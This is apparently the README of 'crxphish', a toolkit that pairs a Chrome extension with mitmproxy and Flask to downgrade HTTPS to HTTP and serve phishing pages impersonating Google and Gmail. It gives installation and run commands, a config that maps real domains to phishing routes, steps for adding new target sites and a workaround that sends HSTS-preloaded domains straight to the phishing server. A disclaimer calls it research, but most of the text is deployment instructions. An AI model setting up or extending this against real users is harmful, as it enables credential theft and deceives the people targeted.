Open-source Chrome extension research framework for studying HTTPS downgrade + proxy-based phishing attacks using mitmproxy.
Disclaimer: This project is for educational and authorized security research only. Do not use it against systems you do not own or have explicit permission to test.
┌──────────────┐ HTTPS → HTTP ┌────────────┐ route match ┌───────────────┐
│ Browser │ ──────────────────────────►│ mitmproxy │ ─────────────────────► │ Flask API │
│ + Extension │ declarativeNetRequest │ (port 8080)│ fetches internal │ (port 9000) │
└──────────────┘ + PAC proxy config └────────────┘ route response └───────────────┘
│
▼
templates/*.html
(phishing pages)
- The Chrome extension uses
declarativeNetRequestto redirect HTTPS → HTTP for configured domains. - A PAC script routes those HTTP requests through the mitmproxy listener.
- The mitmproxy addon (
proxy.py) intercepts requests, matches the domain againstconfig.json, and fetches the response from an internal Flask route. - Flask serves a phishing page from
templates/back through the proxy to the browser.
crxphish/
├── backend/
│ ├── run.py # Main entry-point — starts Flask + mitmproxy
│ ├── api.py # Flask API with internal phishing routes
│ ├── proxy.py # mitmproxy addon (intercepts & reroutes)
│ ├── utils.py # Helpers: config loader, domain parser, rule builder
│ ├── config.json # Domain → route mappings & port settings
│ ├── requirements.txt # Python dependencies
│ └── templates/ # Phishing page HTML templates
│ ├── google.html
│ ├── gmail.html
│ └── default.html
└── extension/
├── manifest.json # Chrome MV3 extension manifest
└── background.js # Service worker: fetches rules, sets proxy
- Python 3.10+
- pip
- mitmproxy (
mitmdumpmust be on PATH) - Google Chrome or Chromium-based browser
git clone https://github.com/youruser/crxphish.git
cd crxphishcd backend
pip install -r requirements.txtmitmdump --versionIf not found, install it:
pip install mitmproxyEdit backend/config.json:
{
"proxy_port": 8080,
"api_port": 9000,
"internal_host": "http://127.0.0.1:9000",
"settings": {
"google.com": {
"route": "/phish/google"
},
"gmail.com": {
"route": "/phish/gmail",
"hsts": true
},
"example.com": {
"route": "/phish/default"
}
}
}- Key = domain to intercept
- route = internal Flask route that serves the phishing page
- hsts = set to
truefor HSTS-preloaded domains (see below)
In backend/api.py:
@app.route('/phish/example', methods=['GET', 'POST'])
def phish_example():
return render_template('example.html')Then create backend/templates/example.html with your HTML.
cd backend
python run.pyOverride ports:
python run.py --proxy-port 8080 --api-port 9000Or run each component separately:
# Terminal 1 — Flask API
python api.py
# Terminal 2 — mitmproxy
mitmdump -p 8080 --mode regular -s proxy.py- Open
chrome://extensions/ - Enable Developer mode (toggle in top right)
- Click Load unpacked → select the
extension/folder - The extension icon should appear in the toolbar
- Start the backend with
python run.py - Load the extension in Chrome
- Navigate to
https://google.com - The extension downgrades to HTTP and routes through mitmproxy
- mitmproxy serves the phishing page from Flask
| Step | File | Action |
|---|---|---|
| 1 | config.json |
Add "target.com": { "route": "/phish/target" } to settings |
| 2 | api.py |
Add a Flask route for /phish/target |
| 3 | templates/target.html |
Create the phishing HTML template |
| 4 | Restart | python run.py |
The extension automatically fetches updated rules from the API on install/reload.
| Field | Description | Default |
|---|---|---|
proxy_port |
Port mitmproxy listens on | 8080 |
api_port |
Port Flask API listens on | 9000 |
internal_host |
Base URL for internal route resolution | http://127.0.0.1:9000 |
settings |
Map of domain → { route, hsts? } |
— |
Some domains (e.g. gmail.com, paypal.com, facebook.com) are on Chrome's HSTS preload list. Chrome hardcodes these domains to always use HTTPS — any attempt to load them over HTTP is automatically upgraded back to HTTPS before the request leaves the browser. This makes the normal HTTPS → HTTP downgrade approach impossible.
Check if a domain is HSTS preloaded:
For example: https://hstspreload.org/?domain=gmail.com
How it differs:
| Normal domain | HSTS domain | |
|---|---|---|
| Extension action | Redirect to http://domain.com |
Redirect to http://127.0.0.1:9000/phish/... |
| Traffic flow | Goes through mitmproxy | Goes directly to Flask |
| Address bar shows | domain.com |
127.0.0.1:9000/phish/... |
Note: For HSTS domains, the address bar will show the internal server address instead of the target domain. This is a browser limitation that cannot be bypassed.
This project is released for educational and research purposes only.